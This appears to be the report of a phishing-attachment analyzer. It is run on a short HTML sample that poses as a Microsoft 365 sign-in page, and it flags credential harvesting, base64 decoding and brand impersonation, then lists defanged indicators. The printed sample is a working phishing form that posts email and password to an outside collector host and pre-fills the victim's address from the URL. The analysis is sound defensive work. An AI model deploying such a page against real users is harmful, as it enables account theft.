เครื่องมือวิเคราะห์ไฟล์แนบ HTML

<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>

High risk: techniques used by phishing and malware attachments

Credential harvesting

1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs

FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365

This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.

Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO	METHOD	FIELDS	LINE
hxxps://collector[.]example/login external Copy	POST	email u, password p, submit password	2
Requests and redirects with a literal target
VIA	TARGET	LINE
form	hxxps://collector[.]example/login other site	2
IOCs
URLs (1)
hxxps://collector[.]example/login

Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)

Static
…